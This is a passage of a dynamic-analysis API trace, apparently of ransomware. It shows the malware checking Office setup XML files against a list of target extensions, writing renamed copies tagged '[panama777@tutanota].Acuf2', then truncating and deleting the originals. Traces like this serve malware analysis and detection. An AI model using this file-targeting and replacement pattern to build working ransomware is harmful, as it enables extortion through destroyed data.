	[0046.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.163] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1
	[0046.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.163] lstrlenW (lpString=".doc") returned 4
	[0046.163] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.163] lstrlenW (lpString=".docx") returned 5
	[0046.163] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.163] lstrlenW (lpString=".pdf") returned 4
	[0046.163] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.163] lstrlenW (lpString=".xls") returned 4
	[0046.163] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.163] lstrlenW (lpString=".xlsx") returned 5
	[0046.163] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.163] lstrlenW (lpString=".ppt") returned 4
	[0046.163] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.163] lstrlenW (lpString=".zip") returned 4
	[0046.163] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.163] lstrlenW (lpString=".rar") returned 4
	[0046.163] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.163] lstrlenW (lpString=".bz2") returned 4
	[0046.163] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.163] lstrlenW (lpString=".7z") returned 3
	[0046.164] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.164] lstrlenW (lpString=".dbf") returned 4
	[0046.164] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.164] lstrlenW (lpString=".1cd") returned 4
	[0046.164] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.164] lstrlenW (lpString=".jpg") returned 4
	[0046.164] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.164] lstrlenW (lpString=".doc") returned 4
	[0046.164] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString=".docx") returned 5
	[0046.164] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.164] lstrlenW (lpString=".pdf") returned 4
	[0046.164] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString=".xls") returned 4
	[0046.164] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString=".xlsx") returned 5
	[0046.164] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.164] lstrlenW (lpString=".ppt") returned 4
	[0046.164] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.164] lstrlenW (lpString=".zip") returned 4
	[0046.164] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.164] lstrlenW (lpString=".rar") returned 4
	[0046.164] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.164] lstrlenW (lpString=".bz2") returned 4
	[0046.164] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.165] lstrlenW (lpString=".7z") returned 3
	[0046.165] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.165] lstrlenW (lpString=".dbf") returned 4
	[0046.165] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.165] lstrlenW (lpString=".1cd") returned 4
	[0046.165] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0046.165] lstrlenW (lpString=".jpg") returned 4
	[0046.165] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.165] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.165] lstrlenW (lpString="ProjectMUI.XML") returned 14
	[0046.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.165] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1452) returned 1
	[0046.165] CloseHandle (hObject=0x1bc) returned 1
	[0046.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20
	[0046.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.166] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.166] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.168] GetLastError () returned 0x0
	[0046.168] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0046.170] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0046.171] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.171] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0046.171] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.171] CloseHandle (hObject=0x1f8) returned 1
	[0046.172] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.172] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.173] CloseHandle (hObject=0x1bc) returned 1
	[0046.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.173] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1
	[0046.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.174] lstrlenW (lpString=".doc") returned 4
	[0046.174] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString=".docx") returned 5
	[0046.174] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.174] lstrlenW (lpString=".pdf") returned 4
	[0046.174] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString=".xls") returned 4
	[0046.174] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString=".xlsx") returned 5
	[0046.174] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.174] lstrlenW (lpString=".ppt") returned 4
	[0046.174] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.174] lstrlenW (lpString=".zip") returned 4
	[0046.174] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.174] lstrlenW (lpString=".rar") returned 4
	[0046.174] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString=".bz2") returned 4
	[0046.174] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString=".7z") returned 3
	[0046.174] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.174] lstrlenW (lpString=".dbf") returned 4
	[0046.174] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.174] lstrlenW (lpString=".1cd") returned 4
	[0046.175] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.175] lstrlenW (lpString=".jpg") returned 4
	[0046.175] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.175] lstrlenW (lpString=".doc") returned 4
	[0046.175] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString=".docx") returned 5
	[0046.175] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.175] lstrlenW (lpString=".pdf") returned 4
	[0046.175] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString=".xls") returned 4
	[0046.175] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString=".xlsx") returned 5
	[0046.175] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.175] lstrlenW (lpString=".ppt") returned 4
	[0046.175] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.175] lstrlenW (lpString=".zip") returned 4
	[0046.175] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.175] lstrlenW (lpString=".rar") returned 4
	[0046.175] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString=".bz2") returned 4
	[0046.175] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.175] lstrlenW (lpString=".7z") returned 3
	[0046.175] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.175] lstrlenW (lpString=".dbf") returned 4
	[0046.175] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.176] lstrlenW (lpString=".1cd") returned 4
	[0046.176] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0046.176] lstrlenW (lpString=".jpg") returned 4
	[0046.176] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.176] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.176] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.176] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1872) returned 1
	[0046.176] CloseHandle (hObject=0x1bc) returned 1
	[0046.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20
	[0046.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.177] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.177] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.177] GetLastError () returned 0x0
	[0046.177] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x750, lpOverlapped=0x0) returned 1
	[0046.179] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x760, lpOverlapped=0x0) returned 1
	[0046.180] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.180] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.180] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.181] CloseHandle (hObject=0x1f8) returned 1
	[0046.181] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.181] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.182] CloseHandle (hObject=0x1bc) returned 1
	[0046.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.182] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1
	[0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.183] lstrlenW (lpString=".doc") returned 4
	[0046.183] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString=".docx") returned 5
	[0046.183] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.183] lstrlenW (lpString=".pdf") returned 4
	[0046.183] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString=".xls") returned 4
	[0046.183] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString=".xlsx") returned 5
	[0046.183] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.183] lstrlenW (lpString=".ppt") returned 4
	[0046.183] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.183] lstrlenW (lpString=".zip") returned 4
	[0046.183] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.183] lstrlenW (lpString=".rar") returned 4
	[0046.183] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString=".bz2") returned 4
	[0046.183] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString=".7z") returned 3
	[0046.183] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.183] lstrlenW (lpString=".dbf") returned 4
	[0046.183] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.183] lstrlenW (lpString=".1cd") returned 4
	[0046.183] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.183] lstrlenW (lpString=".jpg") returned 4
	[0046.183] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.184] lstrlenW (lpString=".doc") returned 4
	[0046.184] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString=".docx") returned 5
	[0046.184] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.184] lstrlenW (lpString=".pdf") returned 4
	[0046.184] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString=".xls") returned 4
	[0046.184] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString=".xlsx") returned 5
	[0046.184] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.184] lstrlenW (lpString=".ppt") returned 4
	[0046.184] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.184] lstrlenW (lpString=".zip") returned 4
	[0046.184] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.184] lstrlenW (lpString=".rar") returned 4
	[0046.184] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString=".bz2") returned 4
	[0046.184] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString=".7z") returned 3
	[0046.184] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.184] lstrlenW (lpString=".dbf") returned 4
	[0046.184] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.184] lstrlenW (lpString=".1cd") returned 4
	[0046.184] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0046.185] lstrlenW (lpString=".jpg") returned 4
	[0046.185] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.185] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.185] lstrlenW (lpString="Proof.XML") returned 9
	[0046.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.185] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1347) returned 1
	[0046.185] CloseHandle (hObject=0x1bc) returned 1
	[0046.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20
	[0046.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.185] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.185] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
